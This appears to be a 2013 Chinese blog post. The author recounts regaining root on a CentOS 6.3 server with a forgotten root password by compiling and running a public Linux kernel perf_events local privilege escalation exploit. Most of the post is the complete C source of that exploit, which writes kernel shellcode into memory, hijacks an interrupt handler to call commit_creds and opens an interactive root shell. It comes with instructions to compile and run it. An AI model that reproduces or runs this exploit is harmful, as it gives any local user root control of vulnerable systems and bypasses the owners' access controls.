利用Linux内核本地漏洞解决root密码忘记
2013-09-13Linux撒加10227°c
A+ A-回家期间,同事说有台服务器的root密码不对了,无法通过su - root切换到root,问我如何解决。
服务器环境:CentOS 6.3 x86_64 定制版
默认登录:服务器添加了普通用户master用于remote ssh login,默认root是禁止直接remote ssh login的,只能通过master登录后,通过su来切换
编译环境:gcc 4.4.6
在网上查看了下Linux的本地溢出漏洞,恰好找到一个“Linux kernel perf_events local root exploit”
之后将这个漏洞的溢出代码进行了编译,执行后,顺利获得了root权限,使用passwd root重置了密码,解决了此次的小故障
附上,溢出代码
vi perf_exp.c 将代码插入,然后执行 gcc -o perf_exp perf_exp.c -O2就会生成溢出程序perf_exp,执行后即可得到root的shell
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/utsname.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #include <linux/perf_event.h> #define KALLSYMS_NAME "/boot/System.map-2.6.32-279.el6.x86_64" #define BASE 0x380000000 #define SIZE 0x010000000 #define KSIZE 0x2000000 #define USER_CS 0x33 #define USER_SS 0x2b #define USER_FL 0x246 #define STACK(x) (x + sizeof(x)) typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; void exit_user_code(void); char user_stack[1024 * 1024]; uint64_t *orig_idt_handler; unsigned char kern_sc[] = "\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3"; struct idtr { uint16_t limit; uint64_t addr; }__attribute__((packed)); void exit_user_code(void) { if (getuid() != 0) { printf("[-] exploit failed.\n"); exit(-1); } printf("[+] Got root shell!\n"); execl("/bin/bash", "sh", "-i", NULL); } void kernel_shellcode(void) { asm volatile("swapgs\n\t" "movq orig_idt_handler, %rsi\n\t" "movq $-1, (%rsi)\n\t" "movq $0, %rdi\n\t" "movq $prepare_kernel_cred, %rsi\n\t" "movq (%rsi), %rsi\n\t" "callq *%rsi\n\t" "movq %rax, %rdi\n\t" "movq $commit_creds, %rsi\n\t" "movq (%rsi), %rsi\n\t" "callq *%rsi\n\t" "movq $0x2b, 0x20(%rsp)\n\t" "movq $user_stack, %rbx\n\t" "addq $0x100000, %rbx\n\t" "movq %rbx, 0x18(%rsp)\n\t" "movq $0x246, 0x10(%rsp)\n\t" "movq $0x33, 0x08(%rsp)\n\t" "movq $exit_user_code, %rbx\n\t" "movq %rbx, 0x00(%rsp)\n\t" "swapgs\n\t" "iretq"); } int perf_event_open(uint32_t offset) { struct perf_event_attr p_attr; int fd; memset(&p_attr, 0, sizeof(struct perf_event_attr)); p_attr.type = PERF_TYPE_SOFTWARE; p_attr.size = sizeof(struct perf_event_attr); p_attr.config = offset; p_attr.mmap = 1; p_attr.freq = 1; fd = syscall(__NR_perf_event_open, &p_attr, 0, -1, -1, 0); if (fd == -1) { perror("perf_event_open"); return -1; } if (close(fd) == -1) { perror("close"); return -1; } return 0; } unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) { FILE *s_fp; char buff[200]; char *p = NULL, *p1 = NULL; unsigned long addr = 0; s_fp = fopen(file_name, "r"); if (s_fp == NULL) { printf("open %s failed.\n", file_name); return 0; } while (fgets(buff, 200, s_fp) != NULL) { if (strstr(buff, symbol_name) != NULL) { buff[strlen(buff) - 1] = '\0'; p = strchr(strchr(buff, ' ') + 1, ' '); ++p; if (!p) return 0; if (!strcmp(p, symbol_name)) { p1 = strchr(buff, ' '); *p1 = '\0'; sscanf(buff, "%lx", &addr); break; } } } fclose(s_fp); return addr; } int perf_symbol_init(void) { struct utsname os_ver; char system_map[128]; if (uname(&os_ver) == -1) { perror("uname"); return -1; } printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine); snprintf(system_map, sizeof(system_map), "/boot/System.map-%s", os_ver.release); printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds)find_symbol_by_proc(system_map, "commit_creds"); if (!commit_creds) { printf("[-] not found commit_creds addr.\n"); return -1; } printf("[+] found commit_creds addr: %p\n", commit_creds); prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map, "prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] not found prepare_kernel_cred addr.\n"); return -1; } printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred); } void exploit_banner(void) { printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n" "by wzt 2013\thttps://www.cloud-sec.org\n\n"); } int main() { struct idtr idt; uint64_t kbase; uint8_t *code; uint32_t *map; int i; int idt_offset; exploit_banner(); if (perf_symbol_init() == -1) return -1; map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (map != (void *)BASE) { perror("mmap"); return -1; } printf("[+] mmap at %p ok.\n", (void *)map); memset(map, 0, SIZE); if (perf_event_open(-1) == -1) return -1; if (perf_event_open(-2) == -1) return -1; for (i = 0; i < SIZE/4; i++) { if (map[i]) { assert(map[i+1]); break; } } assert(i<SIZE/4); asm ("sidt %0" : "=m"(idt)); kbase = idt.addr & 0xff000000; code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (code != (void *)kbase) { perror("mmap"); return -1; } printf("[+] mmap shellcode at %p ok.\n", (void *)code); memset(code, 0x90, KSIZE); code += KSIZE - 1024; *(uint32_t *)(kern_sc + 3) = (uint32_t)&kernel_shellcode; memcpy(code - 9, kern_sc, 9); orig_idt_handler = (uint64_t *)(idt.addr + 0x48); printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler); idt_offset = -i + (((idt.addr & 0xffffffff) - 0x80000000) / 4) + 16; printf("[+] trigger offset: %d\n", idt_offset); if (perf_event_open(idt_offset) == -1) return -1; printf("[+] trigger int4 ...\n"); asm("int $0x4"); }